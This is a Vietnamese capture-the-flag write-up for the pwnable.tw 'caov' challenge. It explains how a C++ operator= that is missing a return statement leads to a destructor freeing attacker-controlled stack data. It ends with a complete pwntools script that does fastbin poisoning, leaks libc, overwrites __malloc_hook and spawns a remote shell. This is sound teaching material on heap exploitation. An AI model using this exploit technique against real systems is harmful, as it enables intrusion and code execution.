pwnable.tw

CAOV

Vuln: Chương trình C++ vi phạm cơ chế return by value của SYSV ABI, dẫn đến lời gọi destructor trên dữ liệu trên stack trước đó được attacker kiểm soát.

tl;dr: Cơ chế của sysv abi ở C++, trên C ko có cái này.

February 23, 2026 Medium

Recon

Mitigation

$ pwn checksec caov
[*] '/home/hungnt/pwnable.tw/caov/caov'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$ file caov
caov: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=450fd6ca04d5ac966932514a773f8567e5f338fb, stripped

GLIBC Version

pwndbg> libc
libc: glibc
libc version: 2.23
linked: dynamically
URLs:
    project homepage:       https://sourceware.org/glibc/
    read the source:        https://elixir.bootlin.com/glibc/glibc-2.23/source
    download the archive:   https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gz
    git clone               https://sourceware.org/git/glibc.git
Mappings:
    libc is at:             0x7552dc000000
           /home/hungnt/pwnable.tw/caov/libc_64.so.6
    ld is at:               0x7552dc000000
           /home/hungnt/pwnable.tw/caov/libc_64.so.6
Symbolication:
    has exported symbols:  yes
    has internal symbols:  yes
    has debug info:        yes

Code

main()

/* g++ -std=c++11 -Wl,-z,relro,-z,now -o caov caov.cpp */

#include <bits/stdc++.h>
#include <unistd.h>

using namespace std;

class Data;

Data *D;
char name[160];

class Data
{
    public:
        Data():key(NULL) , value(0), change_count(0){ init_time(); }
        Data(string k, int v)
        {
            key = new char[k.length() + 1];
            strcpy(key, k.c_str());
            value = v;
            change_count = 0;
            update_time();
        }
        Data(const Data &obj)
        {
            key = new char[strlen(obj.key)+1];
            strcpy(key, obj.key);
            value = obj.value;
            change_count = obj.change_count;
            year  = obj.year;
            month = obj.month;
            day   = obj.day;
            hour  = obj.hour;
            min   = obj.min;
            sec   = obj.sec;
        }
        Data operator=(const Data &rhs)
        {
            key = new char[strlen(rhs.key)+1];
            strcpy(key, rhs.key);
            value = rhs.value;
            change_count = rhs.change_count;
            year  = rhs.year;
            month = rhs.month;
            day   = rhs.day;
            hour  = rhs.hour;
            min   = rhs.min;
            sec   = rhs.sec;
        }
        void edit_data()
        {
            if(change_count == 10)
            {
                cout << "You can only edit your data 10 times at most." << endl;
                cout << "Bye ._.\\~/" << endl;
                exit(0);
            }
            int old_len = strlen(key);
            unsigned int new_len = 0;
            cout << "New key length: ";
            cin  >> new_len;
            getchar();
            if(new_len == 0 || new_len > 1000)
            {
                cout << "Invalid key length" << endl;
                return;
            }
            if (new_len > old_len) key = new char[new_len+1];
            set_data(new_len);
            change_count += 1;
        }   
        void set_data(unsigned int n)
        {
            cout << "Key: ";
            cin.getline(key, n+1); // read n byte + 1 null byte ( auto append )
            cout << "Value: ";
            cin >> value;   
            getchar();
            update_time();
        }
        void update_time()
        {
            time_t cur_time = time(NULL);
            struct tm *now = localtime(&cur_time);
            year = now->tm_year + 1900;
            month = now->tm_mon + 1;
            day = now->tm_mday;
            hour = now->tm_hour;
            min = now->tm_min;
            sec = now->tm_sec;
        }
        void info()
        {
            cout << "Key: " << key << endl;
            cout << "Value: " << value << endl;
            cout << "Edit count: " << change_count << endl;
            cout << "Last update time: ";
            printf("%d-%d-%d %d:%d:%d\n", year, month, day, hour, min, sec);
        }
        ~Data()
        {
            delete[] key;
            key = nullptr;
            value = 0;
            change_count = 0;
            init_time();
        }

    private:
        char *key;
        long value;
        long change_count;
        int year;
        int month;
        int day;
        int hour;
        int min;
        int sec;
        void init_time()
        {
            year  = 0;
            month = 0;
            day   = 0;
            hour  = 0;
            min   = 0;
            sec   = 0;
        }
};

void set_name()
{
    char tmp[160]={};
    char c;
    cout << "Enter your name: ";
    int cnt = 0;
    while(1)
    {
        int len = read(0, &c, 1);
        if(len != 1)
        {
            cout << "Read error" << endl;
            exit(-1);
        }
        tmp[cnt++] = c;
        if(c == '\n' || cnt == 150)
        {
            tmp[cnt-1] = '\0';
            break;            
        }
    }
    memcpy(name, tmp, cnt);
}

void edit()
{
    Data old;
    old = *D;
    D->edit_data();
    cout << "\nYour data info before editing:" << endl;
    old.info();
    cout << "\nYour data info after editing:" << endl;
    D->info();
}

void playground()
{
    int choice = 0;
    while(1)
    {
        cout << "\nMenu" << endl;
        cout << "1. Show name & data" << endl;
        cout << "2. Edit name & data" << endl;
        cout << "3. Exit" << endl;
        cout << "Your choice: ";
        cin >> choice;
        getchar();
        switch(choice)
        {
            case 1:
                cout << "\nYour name is : "<< name << endl;
                cout << "Your data :" << endl;
                D->info();
                break;
            case 2:
                set_name();
                edit();
                break;
            case 3:
                cout << "Bye !" << endl;
                return;
            default:
                cout << "Invalid choice !" << endl;
                exit(0);
        }
    }
}

int main(int argc, char *argv[])
{  
    setvbuf(stdin,0, 2, 0);
    setvbuf(stdout,0, 2, 0);
    setvbuf(stderr,0, 2, 0);

    string k;
    long v;

    set_name();
    cout << "Hello ! " << name << " !" << endl;
    cout << "Welcome to Simple key-value DB playground !" << endl;
    cout << "Please input a key: ";
    cin >> k;
    cout << "Please input a value: ";
    cin >> v;

    D = new Data(k, v);
    cout << "Data create success !" << endl;
    cout << "Now you can play with your data ^_^" << endl;

    playground();

    return 0;
}

Solve

Mình ngồi đọc mã nguồn file cpp chả thấy bug gì, với mình cũng ko quen với C++ nên mình thử mở IDA đọc code theo C thì mình thấy chỗ này:

Quái lạ, sao lại có một cái buffer chứa Data ở đây nhỉ, mà lại còn gọi destructor của nó nữa? Trong code cpp làm gì có đâu?

void edit()
{
    Data old;
    old = *D;
    D->edit_data();
    cout << "\nYour data info before editing:" << endl;
    old.info();
    cout << "\nYour data info after editing:" << endl;
    D->info();
}

Sau một hồi Perplexity, mình mới biết đây là calling convention SYSV ABI trên x86-64. Khi hàm cần phải return một object lớn bằng “value”, thì ko thể sử dụng mỗi thanh ghi rax đc, mà nó sẽ dùng một cái buffer ẩn như sau (gọi là cơ chế sret):

  1. Caller cấp phát một buffer trên stack của mình.
  2. Caller truyền địa chỉ của buffer đó vào tham số ẩn đầu tiên (RDI), các tham số thật sẽ rời sang các thanh ghi tiếp theo (RSI, RDX, RCX,…).
  3. Callee sẽ ghi object vào buffer đó trước khi return.
  4. Khi object đc trả về ra khỏi scope, compiler sẽ chèn lợi gọi destructor tương ứng.

Nhìn vào operator=()

Data operator=(const Data &rhs)
{
	key = new char[strlen(rhs.key)+1];
	strcpy(key, rhs.key);
	value = rhs.value;
	change_count = rhs.change_count;
	year  = rhs.year;
	month = rhs.month;
	day   = rhs.day;
	hour  = rhs.hour;
	min   = rhs.min;
	sec   = rhs.sec;
}

Return type là Data nhưng lại ko có câu return nào. Việc thiếu return *this khiến cho ko có lượt copy nào đc thực hiện để ghi dữ liệu vào v4.

v4 vẫn sẽ chứa giữ liệu trên stack trước đó vì ko đc động tới:

  char v4[56]; // [rsp+30h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+68h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  sub_40198E(old);
  operator_e((__int64)v4, (__int64)old, D);
  Data_destructor((__int64)v4);

Và hàm destructor sau đó sẽ free tại đây:

__int64 __fastcall Data_destructor(__int64 a1)
{
  if ( *(_QWORD *)a1 )
    operator delete[](*(void **)a1);
  *(_QWORD *)a1 = 0LL;
  *(_QWORD *)(a1 + 8) = 0LL;
  *(_QWORD *)(a1 + 16) = 0LL;
  return sub_401EC4(a1);
}

Hàm edit() đc gọi ngay sau hàm set_name(), vì vậy stack frame trước đó của edit() có trùng với set_name(), nên mình có thể ghi địa chỉ nào đó hợp lệ trong tên trùng đúng với vị trí của v4, dẫn đến free() tuỳ ý sau đó.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda l, c: c * l
z = lambda l: l * b'\0'
A = lambda l: l * b'A'

exe = ELF("caov_patched", checksec=False)
libc = ELF("libc_64.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)

context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "split-pane", "-V", "-s", "0.5", "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
b *malloc
b *0x401BF8
continue
'''

def conn():
    if args.LOCAL:
        p = process(['./ld-2.23.so', '--library-path', '.', './caov_patched'])
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(1)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10306
        return remote(host, port)

p = conn()

def set_name(name):
    sla(p, b'your name', name)

def input_data(key, value):
    sla(p, b'ey:', key)
    slan(p, b'alue:', value)

def show():
    slan(p, b'choice', 1)

def edit(name, length, key, value):
    slan(p, b'choice', 2)
    set_name(name)
    slan(p, b'length', length)
    input_data(key, value)

set_name(b'ngtuonghung')
input_data(b'A', 0)

name_addr = 0x6032c0

print("Setting up")

# Free name (as a fake chunk) to fastbin
edit(flat({
    0x8: 0x71,
    0x60: name_addr + 0x10,
    0x78: 0x21,
}, filler=b'\0'), 1, b'A', 0)

# Overwrite fd and malloc name chunk (0x60 length)
# Now name - 0x3b in fastbin
edit(flat({
    0x8: 0x71,
    0x10: name_addr - 0x3b,
    0x35 + 8: 0x21,
    0x60: 0,
}, filler=b'\0'), 0x60, b'A', 0)

print("Leaking libc")

# 0x603280 —▸ 0x7... (_IO_2_1_stderr_) ◂— 0xfbad2087
# Malloc it (0x60) and write name + 0x68 to D pointer to leak libc
edit(flat({
    0x60: 0,
    0x68: 0x603280,
}, filler=b'\0'), 0x60, flat({
    0xb: name_addr + 0x68,
}, filler=b'\0'), 0)

# Leak libc by showing D's key
ru(p, b'after')
ru(p, b'Key: ')
libc.address = leak_bytes(rn(p, 6), libc.symbols['_IO_2_1_stderr_'])
lg("libc base", libc.address)

print("Overwriting malloc hook")

# Do this again to overwrite fd to malloc hook
edit(flat({
    0x8: 0x71,
    0x60: name_addr + 0x10,
    0x68: name_addr,
    0x78: 0x21,
}, filler=b'\0'), 1, b'A', 0)

edit(flat({
    0x8: 0x71,
    0x10: libc.symbols['__malloc_hook'] - 0x23,
    0x60: 0,
}, filler=b'\0'), 0x60, b'A', 0)

'''
0xef6c4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
'''   

one_gadget = libc.address + 0xef6c4
lg("one gadget", one_gadget)

print("Spawn shell")

edit(flat({
    0x60: 0,
}, filler=b'\0'), 0x60, flat({
    0x13: one_gadget,
}, filler=b'\0'), 0)

ia(p)